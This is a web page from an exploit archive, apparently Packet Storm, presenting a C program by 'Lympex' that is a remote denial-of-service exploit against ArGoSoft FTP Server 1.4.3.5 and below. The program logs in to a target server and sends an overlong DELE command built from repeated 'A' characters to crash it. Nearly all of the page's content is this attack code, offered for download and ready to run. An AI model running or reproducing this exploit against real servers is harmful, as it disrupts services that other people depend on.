exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ArGoSoft-1.4.3.5-DoS.cpp

ArGoSoft-1.4.3.5-DoS.cpp
Posted Mar 2, 2006
Authored by Lympex

ArGoSoft FTP server versions 1.4.3.5 and below remote denial of service exploit.

tags | exploit, remote, denial of service
SHA-256 | 37840dc5e7614f6dacb3b057a5b527ff414a8f2e14adad675f4f68481ade620c

ArGoSoft-1.4.3.5-DoS.cpp

Change Mirror Download
/*
Name: ArGoSoft FTP Server <= 1.4.3.5 Exploit
Target: DoS
Author: Lympex
Date: 26/02/2006
Contact:
+ lympex[at]gmail[dot]com
+ https://L-Bytes.Tk
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <winsock2.h>

void Banner()
{
printf("\n[+] ArGoSoft FTP Server <= 1.4.3.5 - DoS Exploit");
printf("\n[+] Coded by Lympex:");
printf("\n + Lympex[at]Gmail[dot]Com");
printf("\n + https://L-Bytes.Tk");
printf("\n================================================\n");
return;
}

int main(int argc, char *argv[])
{
//data
unsigned int MAX_SIZE=1024;
char *Buf,Buffer[MAX_SIZE];
//connection
const unsigned int Wait=1000;
WSADATA wsaData;
SOCKET Winsock;
struct sockaddr_in Winsock_In;
struct hostent *Ip;

//start
Banner();
if(argc!=5)
{printf("\n[+] Usage: %s <Ftp_Server> <Ftp_Port> <Ftp_Login> <Ftp_Pass>\n",argv[0]);return -1;}
//attack
printf("\n[*] Connecting: %s:%s ...",argv[1],argv[2]);
WSAStartup(MAKEWORD(2,2), &wsaData);
Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
if(Winsock==INVALID_SOCKET)
{WSACleanup();printf("Error\n");return -1;}
Ip=gethostbyname(argv[1]);
Winsock_In.sin_port=htons((short)atoi(argv[2]));
Winsock_In.sin_family=AF_INET;
Winsock_In.sin_addr.s_addr=inet_addr(inet_ntoa(*((struct in_addr *)Ip->h_addr)));
if(WSAConnect(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
{WSACleanup();printf("Error\n");return -1;}
printf("OK");
//check in
Buf=(char *)malloc(255*sizeof(char));
memset(Buf,0,sizeof(Buf));memset(Buffer,0,sizeof(Buffer));
printf("\n[*] Authenticating: %s:%s ...",argv[3],argv[4]);
recv(Winsock,Buffer,MAX_SIZE,0);
//user command
realloc(Buf,strlen("USER ")+strlen(argv[3])+strlen("\n"));
memset(Buf,0,sizeof(Buf));memset(Buffer,0,sizeof(Buffer));
strcpy(Buf,"USER ");strcat(Buf,argv[3]);strcat(Buf,"\n");
send(Winsock,Buf,strlen(Buf),0);
recv(Winsock,Buffer,MAX_SIZE,0);
//pass command
realloc(Buf,strlen("PASS ")+strlen(argv[4])+strlen("\n"));
memset(Buf,0,sizeof(Buf));memset(Buffer,0,sizeof(Buffer));
strcpy(Buf,"PASS ");strcat(Buf,argv[4]);strcat(Buf,"\n");
send(Winsock,Buf,strlen(Buf),0);
recv(Winsock,Buffer,MAX_SIZE,0);
//verify
if(Buffer[0]!='2'){printf("Error\n");WSACleanup();return -1;}
printf("OK");
//attack
printf("\n[*] Attacking ...");
printf("\n -Sending EvilBuffer...");

char EvilBuffer[]="DELE AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

send(Winsock,EvilBuffer,274,0);
send(Winsock,"\n",2,0);
printf("OK");
printf("\n -Waitting...");
Sleep(Wait);
printf("OK");
WSACleanup();
printf("\n[*] Done!\n");
return 0;
}
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    69 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close